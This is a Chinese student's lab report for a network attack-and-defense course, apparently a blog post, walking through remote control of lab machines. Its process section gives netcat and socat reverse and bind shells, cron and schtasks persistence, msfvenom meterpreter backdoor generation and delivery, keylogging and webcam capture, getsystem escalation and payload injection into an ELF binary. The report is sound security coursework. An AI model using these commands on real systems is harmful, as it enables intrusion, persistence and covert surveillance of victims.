20222301 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

本次实验主要围绕渗透测试与远程执行控制展开,通过不同工具和技术手段实现了对目标主机的深入渗透与监控。实验内容可以概括为以下几个方面:

1.远程Shell获取:实验首先通过`netcat``cron`定时任务,以及`socat`Windows任务计划相结合的方式,实现了对目标主机的远程Shell访问。这两种方法分别利用了LinuxWindows系统下的计划任务功能,自动执行反向Shell连接命令,从而绕过常规的安全限制,成功获取目标主机的操作权限。

2.可执行文件传输与执行:接下来,实验利用`Metasploit Framework`MSF)的`meterpreter`或其他类似软件生成恶意可执行文件,并通过`ncat``socat`等工具将这些文件传送到目标主机并执行。这一步骤展示了如何通过网络传输恶意代码,并在目标机器上执行以进一步扩展攻击范围。

3.高级信息收集与权限提升:在成功获取Shell后,实验进一步利用MSFmeterpreter或其他工具收集目标主机的敏感信息,包括音频、摄像头数据、击键记录等。此外,还尝试了权限提升操作,以获取更高的系统权限,从而能够访问更多受保护的资源。

4.Shellcode注入与反弹Shell:作为实验的加分内容,实验还探索了Shellcode注入技术。通过MSF生成针对特定漏洞(如实验中的`pwn1`)的Shellcode,并成功将其注入到目标程序中,实现了无需用户交互即可自动建立反弹连接的Shell。这一步骤不仅展示了Shellcode注入的强大能力,还体现了对目标系统深层次漏洞利用的重要性。

2.实验过程

1.使用netcat获取主机操作Shellcron启动某项任务

1查看主机的ip

先关闭主机和虚拟机的防火墙,在windows主机上下载ncat程序,并打开cmd,输入ipconfig指令查看主机的IP地址:

(2)使用netcat进行连接并获取shell

虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。

Win主机输入指令:ncat.exe -l -p 8888l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)

Linux虚机输入指令:nc 192.168.3.173 8888 -e /bin/shncnetcat,后面的参数是要连接的ipport-e是指定连接后运行的程序,本例中就是shell。)

 

win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell

 (3)通过设置cron使得kali启动定时任务。

 cronlinux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。注意:windows不能直接使用crontab -e远程编辑,会报错;

 我们这里进入虚拟机的虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2/usr/bin/vim.basic

 

 输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.3.173 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)

 

编辑好后退出文字编辑器,输入crontab -l查看时程表:

 

 同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

现在回到Windows主机的cmd中进行操作,还是一样与Linux建立连接之后,切换到root模式,输入:

echo "* * * * * echo "20222301" > /home/kali/2301_1.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222301”覆盖文件2301_1.txt

crontab -l (检查时程表)

 进入Linux虚拟机进入对应路径检查2301_1.txt文件,发现修改成功。

2. 使用socat获取主机操作Shell,任务计划启动

Socatnetcat类似,但比起netcatsocat功能更多,比如如建立ssl连接。

windows主机:下载socatcmd进入socat文件夹,输入命令:

socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exestderr重定向到stdout

Linux虚拟机:进入root用户,输入命令:

socat - tcp:192.168.3.173:8888 

 

 回到主机,我们需要事先准备一个程序以供运行,在此省略程序编写环节

 Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:

schtasks /create /sc minute /mo 1 /tn "20222301cc"  /tr C:\Users\HP\Desktop\shiyan2.exe(每一分钟执行一次我写的这个程序:)

 回到windows主机,打开计算机管理,看到正在运行的任务名“20222301cc”,说明实验成功。

3.Linux下使用MSF meterpreter生成可执行文件,利用ncatsocat传送到Windows主机并运行获取主机shell

 保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。

 1)生成后门文件

首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.3.174

继续中输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.174 LPORT=8888 -f exe > 2301backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell payload,并将其保存到一个可执行文件中。)

LHOST=192.168.3.174shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;

LPORT=8888攻击者的系统上监听的端口号

-f exe指定了生成的 payload 的格式,这里是exe

 2301backdoor.exe即生成的恶意可执行文件(名称自拟)

 2)将后门文件传输至目标主机

主机进入ncat所在目录下,输入指令:

ncat.exe -lv 8888 > "C:\Users\HP\Desktop\2301backdoor.exe"(监听8888窗口等待接收可执行文件2301backdoor.exe,并将2301backdoor.exe文件存放在桌面上)

 虚拟机上输入指令:

nc 192.168.3.173 8888 < 2301backdoor.exe(将生成的后门文件2301backdoor.exe传给主机)

 Win主机接收到后门文件2301backdoor.exe,成功在桌面找到文件

 3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)

set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)

set LHOST 192.168.3.174 (攻击机的IP地址,和生成后门程序时指定的IP相同

set LPORT 8888(监听的端口

 

接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2301backdoor.exe文件

返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1)获取目标主机音频、截屏、摄像头、键盘记录

exploit模块中继续输入以下命令

record_mic   音频

screenshot   截屏

webcam_snap  拍照

keyscan_start  (开始读取键盘记录

keyscan_dump  (读取键盘记录结束)

 音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

 2)提权

确保windowscmd指令是使用管理员身份运行的,继续在exploit模块中继续输入

getuid    (查看当前用户

getsystem  提权指令

 5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

kali命令行下输入:

Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.174

LPORT=8888 -x /kali/Desktop/pwn20222301 -f elf > 2301_pwn

(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shellpayload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2301_pwn的文件中。)

 

 -p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型

LHOST=192.168.3.174目标主机 IP 地址为 192.168.3.174,这里即虚拟机IP地址

LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888

-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。

-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式

对生成的2301_pwn文件赋予权限

 输入指令msfconsole,重现监听过程:

 打开另一个shell,运行生成的2301_pwn文件(需要使用root权限)

回到第一个shell,输入ls确认连接,成功实现远程控制shell

 3.问题及解决方案

问题1ncat连接正常建立但无法写入文件

解决方案:通过修改2301_1.txt文件权限及后缀名(原名为2301_1,修改后名为2301_1.txt

问题2socat实验中在Windowscmdschtasks /create /sc minute /mo 1 /tn "20222301cc"  /tr C:\ccsh2\cc_2.exe运行错误

解决方案:格式错误,每个指令(如/create/mo 1等)前都需要附带空格键。

问题3MSF meterpreter生成后门文件不被windows主机识别,报错“此应用无法在你的电脑上运行”

解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.174 LPORT=8888 -f exe > 2301backdoor.exe代码,加入字段“-a x86 --platform ”指x8632位构架进行传输

4.学习感悟、思考等

在深入探索实验一的基础上,我原本预期实验二将聚焦于工具应用的熟悉与掌握,其复杂度应相对较低。然而,实际操作中遭遇的重重挑战,让我深刻体会到独立研究相较于依赖既有报告指导的显著难度。这一过程中,我不仅需要自主搜集并整合海量资料,还需对每一个细节进行深入剖析与学习,以应对层出不穷的技术难题。

尤为值得注意的是,由于主机配置的差异性,即便是遵循正确操作流程,也可能遭遇意想不到的报错问题。例如,在第三项实践活动中,我精心构造的MSF meterpreter后门文件在Windows主机上遭遇了此应用无法在你的电脑上运行的错误提示,这种步骤无误却结果悖离的现象,极大地考验了我的问题诊断与解决能力,同时也让我深刻感受到技术实践中的不确定性与复杂性。

尽管如此,通过不懈的努力与探索,我逐渐对netcatsocatcron以及MSF meterpreter等关键工具建立了全面的认识与理解。这一路走来,虽然遭遇了不少坑洼,但正是这些挑战与困境,促使我不断突破自我,积累了宝贵的实践经验与知识财富。更重要的是,此次实验让我深刻意识到,在缺乏有效安全防护措施的环境下,隐私泄露与权限窃取的风险之巨大,从而进一步增强了我的网络安全防护意识与责任感。

posted @ 2024-10-15 16:21  20222301陈灿  阅读(220)  评论(0编辑  收藏  举报